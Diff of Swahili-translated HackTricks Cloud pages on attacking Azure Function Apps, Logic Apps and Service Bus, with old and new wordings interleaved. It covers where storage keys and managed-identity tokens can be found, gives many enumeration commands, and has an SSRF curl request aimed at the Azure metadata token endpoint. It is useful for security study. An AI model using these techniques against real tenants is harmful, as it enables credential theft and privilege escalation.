### **Function App Settings & Environment Variables**
Inawezekana kuunda mazingira ya mabadiliko ndani ya programu, ambayo yanaweza kuwa na taarifa nyeti. Zaidi ya hayo, kwa kawaida mabadiliko ya mazingira **`AzureWebJobsStorage`** na **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (miongoni mwa mengine) yanaundwa. Haya ni ya kuvutia sana kwa sababu yana **funguo za akaunti kudhibiti kwa ruhusa KAMILI akaunti ya hifadhi inayohifadhi data ya programu**. Mipangilio hii pia inahitajika kutekeleza msimbo kutoka kwa Akaunti ya Hifadhi.
Inawezekana kuunda mabadiliko ya mazingira ndani ya programu, ambayo yanaweza kuwa na taarifa nyeti. Zaidi ya hayo, kwa kawaida mabadiliko ya mazingira **`AzureWebJobsStorage`** na **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (miongoni mwa mengine) yanaundwa. Haya ni ya kuvutia sana kwa sababu yana **funguo za akaunti kudhibiti kwa ruhusa KAMILI akaunti ya hifadhi inayoshikilia data ya programu**. Mipangilio hii pia inahitajika kutekeleza msimbo kutoka kwa Akaunti ya Hifadhi.
Mabadiliko haya ya mazingira au vigezo vya usanidi pia vinadhibiti jinsi Function inavyotekeleza msimbo, kwa mfano ikiwa **`WEBSITE_RUN_FROM_PACKAGE`** ipo, itadhihirisha URL ambapo msimbo wa programu unapatikana.
@@ -58,25 +58,25 @@ Katika **Windows** function inayotumia NodeJS msimbo ulikuwa unapatikana katika
Kama [**VMs**](vms/index.html), Functions zinaweza kuwa na **Managed Identities** za aina 2: Iliyotolewa na Mfumo na Iliyotolewa na Mtumiaji.
**iliyotolewa na mfumo** itakuwa ni kitambulisho kinachodhibitiwa ambacho **ni kazi pekee** ambayo ina idhini hiyo itakuwa na uwezo wa kutumia, wakati **iliyotolewa na mtumiaji** ni vitambulisho vinavyodhibitiwa ambavyo **huduma nyingine yoyote ya Azure itakuwa na uwezo wa kutumia**.
**iliyotolewa na mfumo** itakuwa utambulisho wa kusimamiwa ambao **ni kazi pekee** ambayo ina utambulisho huo itakuwa na uwezo wa kutumia, wakati **iliyotolewa na mtumiaji** ni utambulisho wa kusimamiwa ambao **huduma nyingine yoyote ya Azure itakuwa na uwezo wa kutumia**.
> [!NOTE]
> Kama ilivyo katika [**VMs**](vms/index.html), Functions zinaweza kuwa na **1 kitambulisho kilichotolewa na mfumo** na **vitambulisho vingi vilivyotolewa na mtumiaji**, kwa hivyo ni muhimu kila wakati kujaribu kupata vyote ikiwa unadhoofisha kazi kwa sababu unaweza kuwa na uwezo wa kupandisha mamlaka kwa vitambulisho vingi vilivyo na Function moja tu.
> Kama ilivyo katika [**VMs**](vms/index.html), Functions zinaweza kuwa na **1 utambulisho wa kusimamiwa** wa mfumo na **mengi yaliyotolewa na mtumiaji**, kwa hivyo ni muhimu kila wakati kujaribu kupata yote ikiwa unadhoofisha kazi kwa sababu unaweza kuwa na uwezo wa kupandisha mamlaka kwa utambulisho kadhaa wa kusimamiwa kutoka kwa Function moja tu.
>
> Ikiwa kitambulisho kisichotolewa na mfumo hakitumiki lakini kitambulisho kimoja au zaidi kilichotolewa na mtumiaji kimeunganishwa na kazi, kwa kawaida huwezi kupata token yoyote.
> Ikiwa utambulisho wa kusimamiwa wa mfumo haujatumiwa lakini utambulisho mmoja au zaidi wa kusimamiwa na mtumiaji umeunganishwa na kazi, kwa kawaida huwezi kupata token yoyote.
Inawezekana kutumia [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) kupata token kutoka kwa kitambulisho kilichotolewa na mfumo kutoka kwa kiunganishi cha metadata. Au unaweza kuzipata **kwa mikono** kama ilivyoelezwa katika:
Inawezekana kutumia [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) kupata token kutoka kwa utambulisho wa kusimamiwa wa default kutoka kwa kiunganishi cha metadata. Au unaweza kuzipata **kwa mikono** kama ilivyoelezwa katika:
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
Kumbuka unahitaji kupata njia ya **kuangalia vitambulisho vyote vilivyotolewa na kazi** kwani ikiwa hujaashiria, kiunganishi cha metadata kitatumia **tu kimoja cha kawaida** (angalia kiungo kilichopita kwa maelezo zaidi).
Kumbuka unahitaji kupata njia ya **kuangalia yote Managed Identities ambayo kazi inaunganishwa** kwani ikiwa hujaashiria, kiunganishi cha metadata kita **tumia tu ile ya default** (angalia kiungo kilichopita kwa maelezo zaidi).
## Access Keys
> [!NOTE]
> Kumbuka kwamba hakuna ruhusa za RBAC za kutoa ufikiaji kwa watumiaji kuanzisha kazi. **kuanzisha kazi kunategemea kichocheo** kilichochaguliwa wakati ilipoundwa na ikiwa kichocheo cha HTTP kilichaguliwa, inaweza kuhitajika kutumia **funguo za ufikiaji**.
Unapounda kiunganishi ndani ya kazi kwa kutumia **kichocheo cha HTTP** inawezekana kuashiria **ngazi ya idhini ya funguo za ufikiaji** inayohitajika kuanzisha kazi. Chaguzi tatu zinapatikana:
Unapounda kiunganishi ndani ya kazi kwa kutumia **kichocheo cha HTTP** inawezekana kuashiria **ngazi ya uthibitisho wa funguo za ufikiaji** inayohitajika kuanzisha kazi. Chaguzi tatu zinapatikana:
- **ANONYMOUS**: **Kila mtu** anaweza kufikia kazi kupitia URL.
- **FUNCTION**: Kiunganishi kinapatikana tu kwa watumiaji wanaotumia **funguo, mwenyeji au funguo za master**.
@@ -86,8 +86,8 @@ Unapounda kiunganishi ndani ya kazi kwa kutumia **kichocheo cha HTTP** inawezeka
- **Funguo za Kazi:** Funguo za kazi zinaweza kuwa za kawaida au zilizofanywa na mtumiaji na zimeundwa kutoa ufikiaji pekee kwa **kiunganishi maalum cha kazi** ndani ya Function App ikiruhusu ufikiaji wa kina zaidi juu ya viunganishi.
- **Funguo za Mwenyeji:** Funguo za mwenyeji, ambazo pia zinaweza kuwa za kawaida au zilizofanywa na mtumiaji, zinatoa ufikiaji kwa **viunganishi vyote vya kazi ndani ya Function App kwa ngazi ya ufikiaji wa FUNCTION**.
- **Funguo za Master:** Funguo za master (`_master`) hutumikia kama funguo za usimamizi zinazotoa ruhusa za juu, ikiwa ni pamoja na ufikiaji kwa viunganishi vyote vya kazi (ngazi ya ufikiaji wa ADMIN inajumuishwa). **funguo hii haiwezi kufutwa.**
- **Funguo za Mfumo:** Funguo za mfumo zinadhibitiwa na **nyongeza maalum** na zinahitajika kwa ufikiaji wa viunganishi vya webhook vinavyotumiwa na vipengele vya ndani. Mifano ni pamoja na kichocheo cha Event Grid na Functions za Kudumu, ambazo hutumia funguo za mfumo kuingiliana kwa usalama na APIs zao.
- **Funguo za Master:** Funguo za master (`_master`) hutumikia kama funguo za kiutawala zinazotoa ruhusa za juu, ikiwa ni pamoja na ufikiaji kwa viunganishi vyote vya kazi (ngazi ya ufikiaji wa ADMIN inajumuishwa). **funguo hii haiwezi kufutwa.**
- **Funguo za Mfumo:** Funguo za mfumo zinazosimamiwa na **nyongeza maalum** na zinahitajika kwa ufikiaji wa viunganishi vya webhook vinavyotumiwa na vipengele vya ndani. Mifano ni pamoja na kichocheo cha Event Grid na Functions za Kudumu, ambazo hutumia funguo za mfumo kuingiliana kwa usalama na APIs zao.
> [!TIP]
> Mfano wa kufikia kiunganishi cha API ya kazi kwa kutumia funguo:
@@ -96,7 +96,7 @@ Unapounda kiunganishi ndani ya kazi kwa kutumia **kichocheo cha HTTP** inawezeka
### Basic Authentication
Kama ilivyo katika App Services, Functions pia zinasaidia uthibitishaji wa msingi kuungana na **SCM** na **FTP** ili kutekeleza msimbo kwa kutumia **jina la mtumiaji na nenosiri katika URL** inayotolewa na Azure. Maelezo zaidi kuhusu hili katika:
Kama ilivyo katika App Services, Functions pia zinasaidia uthibitishaji wa msingi kuungana na **SCM** na **FTP** ili kupeleka msimbo kwa kutumia **jina la mtumiaji na nenosiri katika URL** inayotolewa na Azure. Maelezo zaidi kuhusu hilo katika:
{{#ref}}
az-app-services.md
@@ -104,7 +104,7 @@ az-app-services.md
### Github Based Deployments
Unapounda kazi kutoka kwa repo ya Github, console ya wavuti ya Azure inaruhusu **kuunda kiotomatiki Github Workflow katika hifadhi maalum** ili kila wakati hifadhi hii ikisasishwa, msimbo wa kazi unasasishwa. Kwa kweli, Github Action yaml kwa kazi ya python inaonekana kama ifuatavyo:
Wakati kazi inaundwa kutoka kwa repo ya Github, console ya wavuti ya Azure inaruhusu **kuunda kiotomatiki Github Workflow katika hifadhi maalum** ili kila wakati hifadhi hii ikisasishwa, msimbo wa kazi unasasishwa. Kwa kweli, Github Action yaml kwa kazi ya python inaonekana kama ifuatavyo:
<details>
@@ -192,18 +192,22 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
```
</details>
Zaidi ya hayo, **Managed Identity** pia inaundwa ili Github Action kutoka kwenye hazina iweze kuingia kwenye Azure kwa kutumia hiyo. Hii inafanywa kwa kuzalisha akiba ya Shirikisho juu ya **Managed Identity** ikiruhusu **Issuer** `https://token.actions.githubusercontent.com` na **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
Zaidi ya hayo, **Identiti Iliyosimamiwa** pia inaundwa ili Github Action kutoka kwenye hazina iweze kuingia kwenye Azure kwa kutumia hiyo. Hii inafanywa kwa kuzalisha akidi ya Shirikisho juu ya **Identiti Iliyosimamiwa** ikiruhusu **Mtoaji** `https://token.actions.githubusercontent.com` na **Kitambulisho cha Mtu** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
> [!CAUTION]
> Hivyo, mtu yeyote anayekabili hazina hiyo ataweza kukabili kazi na Identiti za Usimamizi zilizounganishwa nayo.
> Hivyo, mtu yeyote anayekatisha tamaa hazina hiyo ataweza kukatisha tamaa kazi na Identiti Iliyosimamiwa zinazohusishwa nayo.
### Mifumo ya Kuweka Mifuko
### Utekelezaji wa Msingi wa Kontena
Sio mipango yote inaruhusu kuweka mifuko, lakini kwa zile zinazoruhusu, usanidi utaonyesha URL ya mfuko. Katika API, mipangilio ya **`linuxFxVersion`** itakuwa na kitu kama: `DOCKER|mcr.microsoft.com/...`, wakati katika console ya wavuti, usanidi utaonyesha **mipangilio ya picha**.
Sio mipango yote inayo ruhusu kutekeleza kontena, lakini kwa zile zinazofanya hivyo, usanidi utaonyesha URL ya kontena. Katika API, mipangilio ya **`linuxFxVersion`** itakuwa na kitu kama: `DOCKER|mcr.microsoft.com/...`, wakati katika console ya wavuti, usanidi utaonyesha **mipangilio ya picha**.
Zaidi ya hayo, **hakuna msimbo wa chanzo utakaohifadhiwa katika akaunti ya hifadhi** inayohusiana na kazi kwani haitahitajika.
## Enumeration
## Uhesabu
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# List all the functions
az functionapp list
@@ -249,6 +253,30 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
# Get source code
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.Functions
# Lists all Function Apps in the current subscription or in a specific resource group.
Get-AzFunctionApp -ResourceGroupName <String>
# Displays the regions where Azure Function Apps are available for deployment.
Get-AzFunctionAppAvailableLocation
# Retrieves details about Azure Function App plans in a subscription or resource group.
Get-AzFunctionAppPlan -ResourceGroupName <String> -Name <String>
# Retrieves the app settings for a specific Azure Function App.
Get-AzFunctionAppSetting -Name <FunctionAppName> -ResourceGroupName <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{% endtabs %}
## Kuinua Mamlaka
{{#ref}}

View File

@@ -4,14 +4,14 @@
## Basic Information
Azure Logic Apps ni huduma ya msingi wa wingu inayotolewa na Microsoft Azure ambayo inawawezesha waendelezaji **kuunda na kuendesha mifumo ya kazi inayounganisha huduma mbalimbali**, vyanzo vya data, na programu. Mifumo hii ya kazi imeundwa ili **kujiendesha kwa mchakato wa biashara**, kupanga kazi, na kufanya uunganisho wa data kati ya majukwaa tofauti.
Azure Logic Apps ni huduma ya msingi ya wingu inayotolewa na Microsoft Azure ambayo inawawezesha waendelezaji **kuunda na kuendesha mifumo ya kazi inayounganisha huduma mbalimbali**, vyanzo vya data, na programu. Mifumo hii ya kazi imeundwa ili **kuandaa michakato ya biashara**, kupanga kazi, na kufanya uunganisho wa data kati ya majukwaa tofauti.
Logic Apps inatoa mbunifu wa kuona kuunda mifumo ya kazi na **mifunguo mingi iliyojengwa awali**, ambayo inafanya iwe rahisi kuungana na kuingiliana na huduma mbalimbali, kama vile Office 365, Dynamics CRM, Salesforce, na nyingine nyingi. Unaweza pia kuunda mifunguo maalum kwa mahitaji yako maalum.
Logic Apps inatoa mbunifu wa kuona kuunda mifumo ya kazi na **mifungamano mingi iliyojengwa awali**, ambayo inafanya iwe rahisi kuungana na kuingiliana na huduma mbalimbali, kama vile Office 365, Dynamics CRM, Salesforce, na nyingine nyingi. Unaweza pia kuunda mifungamano ya kawaida kwa mahitaji yako maalum.
### Examples
- **Automating Data Pipelines**: Logic Apps inaweza kujiendesha **mchakato wa uhamishaji na mabadiliko ya data** kwa kushirikiana na Azure Data Factory. Hii ni muhimu kwa kuunda mifumo ya data inayoweza kupanuka na kuaminika ambayo inahamisha na kubadilisha data kati ya hifadhi mbalimbali za data, kama vile Azure SQL Database na Azure Blob Storage, kusaidia katika uchambuzi na operesheni za akili ya biashara.
- **Integrating with Azure Functions**: Logic Apps inaweza kufanya kazi pamoja na Azure Functions kuendeleza **programu za kisasa zinazoendeshwa na matukio ambazo zinaweza kupanuka kadri inavyohitajika** na kuunganishwa bila mshono na huduma nyingine za Azure. Mfano wa matumizi ni kutumia Logic App kuanzisha Azure Function kama jibu kwa matukio fulani, kama vile mabadiliko katika akaunti ya Azure Storage, kuruhusu usindikaji wa data wa kidinamik.
- **Automating Data Pipelines**: Logic Apps inaweza kuandaa **mchakato wa uhamishaji na mabadiliko ya data** kwa kushirikiana na Azure Data Factory. Hii ni muhimu kwa kuunda mifumo ya data inayoweza kupanuka na kuaminika ambayo inahamisha na kubadilisha data kati ya hifadhi mbalimbali za data, kama vile Azure SQL Database na Azure Blob Storage, kusaidia katika uchambuzi na operesheni za akili ya biashara.
- **Integrating with Azure Functions**: Logic Apps inaweza kufanya kazi pamoja na Azure Functions kuendeleza **programu za kisasa zinazoendeshwa na matukio ambazo zinaweza kupanuka kadri inavyohitajika** na kuunganishwa kwa urahisi na huduma nyingine za Azure. Mfano wa matumizi ni kutumia Logic App kuanzisha Azure Function kama jibu kwa matukio fulani, kama vile mabadiliko katika akaunti ya Azure Storage, kuruhusu usindikaji wa data wa kidinamik.
### Visualize a LogicAPP
@@ -25,39 +25,265 @@ au kuangalia msimbo katika sehemu ya "**Logic app code view**".
Hata kama utapata **Logic App ikiwa na udhaifu wa SSRF**, huwezi kupata akreditivu kutoka kwa metadata kwani Logic Apps haiwezeshi hilo.
Kwa mfano, kitu kama hiki hakitatoa token:
Kwa mfano, kitu kama hiki hakiwezi kurudisha token:
```bash
# The URL belongs to a Logic App vulenrable to SSRF
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
```
### Chaguzi za Kuweka
Kuna chaguzi kadhaa za kuweka:
* **Matumizi**
- **Multi-tenant**: inatoa rasilimali za kompyuta zinazoshirikiwa, inafanya kazi katika wingu la umma, na inafuata mfano wa bei kulingana na operesheni. Hii ni bora kwa kazi nyepesi na za gharama nafuu.
* **Kawaida**
- **Mpango wa Huduma ya Mchakato**: rasilimali za kompyuta zilizotengwa zikiwa na uunganisho wa VNET kwa ajili ya mtandao na malipo kwa kila mfano wa mpango wa huduma ya mchakato. Inafaa kwa kazi zinazohitaji udhibiti zaidi.
- **Mazingira ya Huduma ya Programu V3** rasilimali za kompyuta zilizotengwa zikiwa na kutengwa kamili na uwezo wa kupanuka. Pia inajumuisha VNET kwa ajili ya mtandao na inatumia mfano wa bei kulingana na mifano ya Huduma ya Programu ndani ya mazingira. Hii ni bora kwa programu za kiwango cha biashara zinazohitaji kutengwa kubwa.
- **Mchanganyiko** iliyoundwa kwa ajili ya usindikaji wa ndani na msaada wa wingu nyingi. Inaruhusu rasilimali za kompyuta zinazodhibitiwa na mteja zikiwa na ufikiaji wa mtandao wa ndani na inatumia Kubernetes Event-Driven Autoscaling (KEDA).
### Uhesabu
{{#tabs }}
{{#tab name="az cli" }}
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# List
az logic workflow list --resource-group <ResourceGroupName> --subscription <SubscriptionID> --output table
az logic workflow list --resource-group <ResourceGroupName>
# Get info
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
# Get Logic App config
az logic workflow definition show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
# Get service ppal used
az logic workflow identity show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
```
{{#endtab }}
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>
{{#tab name="Az PowerSHell" }}
# Get details of a specific Logic App workflow, including its connections and parameters
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
--headers "Content-Type=application/json"
# Get details about triggers for a specific Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"
# Get the callback URL for a specific trigger in a Logic App
az rest --method POST \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"
# Get the history of a specific trigger in a Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"
# List all runs of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get all actions within a specific run of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# List all versions of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get details of a specific version of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
--headers "Content-Type=application/json"
az rest \
--method GET \
--uri "https://examplelogicapp1994.scm.azurewebsites.net/api/functions/admin/download?includeCsproj=true&includeAppSettings=true" \
--headers "Content-Type=application/json"
# List all Logic Apps in the specified resource group
az logicapp list --resource-group <ResourceGroupName>
# Show detailed information about a specific Logic App
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```bash
Get-Command -Module Az.LogicApp
# List
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
# Get info
Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>
# Get Logic App config
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Definition | ConvertTo-Json
# Get service ppal used
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Identity
```
{{#endtab }}
{{#endtabs }}
{{#include ../../../banners/hacktricks-training.md}}
# Get details of a specific Logic App workflow run action
Get-AzLogicAppRunAction -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -RunName "<RunName>"
# Get the run history for a specific Logic App
Get-AzLogicAppRunHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"
# Get details about triggers for a specific Logic App
Get-AzLogicAppTrigger -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"
# Get the callback URL for a specific trigger in a Logic App
Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "<ResourceGroupName>" -LName "<LogicAppName>" -TriggerName "<TriggerName>"
# Get the history of a specific trigger in a Logic App
Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -TriggerName "<TriggerName>"
```
{% endcode %}
{% endtab %}
{% endtabs %}
### Akaunti za Uunganisho
**Akaunti za Uunganisho**, ni kipengele cha Azure Logic Apps. Akaunti za Uunganisho zinatumika kuwezesha uunganisho wa kiwango cha biashara kwa kuwezesha uwezo wa juu wa B2B, kama vile EDI, AS2, na usimamizi wa muundo wa XML. Akaunti za Uunganisho ni kontena katika Azure ambazo zinahifadhi vitu vifuatavyo vinavyotumika kwa Logic Apps:
* Mifano: Simamia mifano ya XML kwa ajili ya kuthibitisha na kushughulikia ujumbe katika akaunti yako ya uunganisho.
* Ramani: Sanidi mabadiliko yanayotegemea XSLT kubadilisha muundo wa data ndani ya mchakato wako wa uunganisho.
* Mkusanyiko: Simamia mkusanyiko wa akaunti za uunganisho ili kuboresha mantiki na usindikaji wa data.
* Vyeti: Shughulikia vyeti kwa ajili ya kuficha na kusaini ujumbe, kuhakikisha mawasiliano salama.
* Washirika: Simamia taarifa za washirika wa biashara kwa ajili ya miamala ya B2B, kuwezesha uunganisho usio na mshono.
* Makubaliano: Sanidi sheria na mipangilio ya kubadilishana data na washirika wa biashara (kwa mfano, EDI, AS2).
* Mipangilio ya Kundi: Simamia mipangilio ya usindikaji wa kundi ili kuunganisha na kushughulikia ujumbe kwa ufanisi.
* RosettaNet PIP: Sanidi Mchakato wa Kiolesura cha Washirika wa RosettaNet (PIPs) kwa ajili ya kuweka kiwango cha mawasiliano ya B2B.
#### Uhesabu
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# Integration account
az logic integration-account list --resource-group <resource-group-name>
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>
# Batch-configuration
az logic integration-account batch-configuration list \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name>
az logic integration-account batch-configuration show \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name> \
--batch-configuration-name <batch-configuration-name>
# Map
az logic integration-account map list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account map show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--map-name <map-name>
# Partner
az logic integration-account partner list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account partner show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <partner-name>
# Session
az logic integration-account session list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account session show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <session-name>
# Assembly
# Session
az logic integration-account assembly list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account assembly show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--assembly-artifact-name <assembly-name>
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.LogicApp
# Retrieve details of an integration account
Get-AzIntegrationAccount -ResourceGroupName <resource-group-name> -Name <integration-account-name>
# Retrieve the callback URL of an integration account
Get-AzIntegrationAccountCallbackUrl -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name>
# Retrieve details of a specific agreement in an integration account
Get-AzIntegrationAccountAgreement -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <agreement-name>
# Retrieve details of a specific assembly in an integration account
Get-AzIntegrationAccountAssembly -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <assembly-name>
# Retrieve details of a specific batch configuration in an integration account
Get-AzIntegrationAccountBatchConfiguration -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <batch-configuration-name>
# Retrieve details of a specific certificate in an integration account
Get-AzIntegrationAccountCertificate -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <certificate-name>
# Retrieve details of a specific map in an integration account
Get-AzIntegrationAccountMap -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <map-name>
# Retrieve details of a specific partner in an integration account
Get-AzIntegrationAccountPartner -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <partner-name>
# Retrieve details of a specific schema in an integration account
Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <schema-name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
## Kuinua Haki
Kama vile privesc za logic apps:
{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %}
[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md)
{% endcontent-ref %}
## Baada ya Utekelezaji
{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %}
[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md)
{% endcontent-ref %}
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
{% endhint %}

View File

@@ -4,13 +4,13 @@
## Service Bus
Azure Service Bus ni **huduma ya ujumbe** inayotegemea wingu iliyoundwa kuwezesha **mawasiliano ya kuaminika kati ya sehemu tofauti za programu au programu tofauti**. Inafanya kazi kama katikati salama, kuhakikisha ujumbe unawasilishwa kwa usalama, hata kama mtumaji na mpokeaji hawafanyi kazi kwa wakati mmoja. Kwa kutenganisha mifumo, inaruhusu programu kufanya kazi kwa uhuru huku bado ikibadilishana data au maagizo. Ni muhimu hasa kwa hali zinazohitaji usawa wa mzigo kati ya wafanyakazi wengi, utoaji wa ujumbe wa kuaminika, au uratibu mgumu, kama vile kusindika kazi kwa mpangilio au kusimamia ufikiaji kwa usalama.
Azure Service Bus ni **huduma ya ujumbe** inayotolewa kwenye wingu iliyoundwa kuwezesha **mawasiliano ya kuaminika kati ya sehemu tofauti za programu au programu tofauti**. Inafanya kazi kama katikati salama, kuhakikisha ujumbe unawasilishwa kwa usalama, hata kama mtumaji na mpokeaji hawafanyi kazi kwa wakati mmoja. Kwa kutenganisha mifumo, inaruhusu programu kufanya kazi kwa uhuru huku bado ikibadilishana data au maagizo. Ni muhimu hasa kwa hali zinazohitaji usawa wa mzigo kati ya wafanyakazi wengi, utoaji wa ujumbe wa kuaminika, au uratibu mgumu, kama vile kusindika kazi kwa mpangilio au kusimamia ufikiaji kwa usalama.
### Key Concepts
1. **Queues:** kusudi lake ni kuhifadhi ujumbe hadi mpokeaji awe tayari.
- Ujumbe umeagizwa, umewekwa alama ya muda, na kuhifadhiwa kwa kudumu.
- Utoaji unafanyika kwa njia ya kuvuta (urejeshaji kwa ombi).
- Utoaji unafanyika kwa njia ya kuvuta (urejeshaji kwa mahitaji).
- Inasaidia mawasiliano ya pointi hadi pointi.
2. **Topics:** Ujumbe wa kuchapisha-na-kujiandikisha kwa matangazo.
- Usajili wengi huru hupokea nakala za ujumbe.
@@ -30,7 +30,7 @@ Baadhi ya vipengele vya juu ni:
- **Transactions**: Inakusanya operesheni katika utekelezaji wa atomiki.
- **Filters & Actions**: Inatumia sheria kuchuja au kuongeza maelezo kwenye ujumbe.
- **Auto-Delete on Idle**: Inafuta foleni baada ya kutokuwa na shughuli (min: dakika 5).
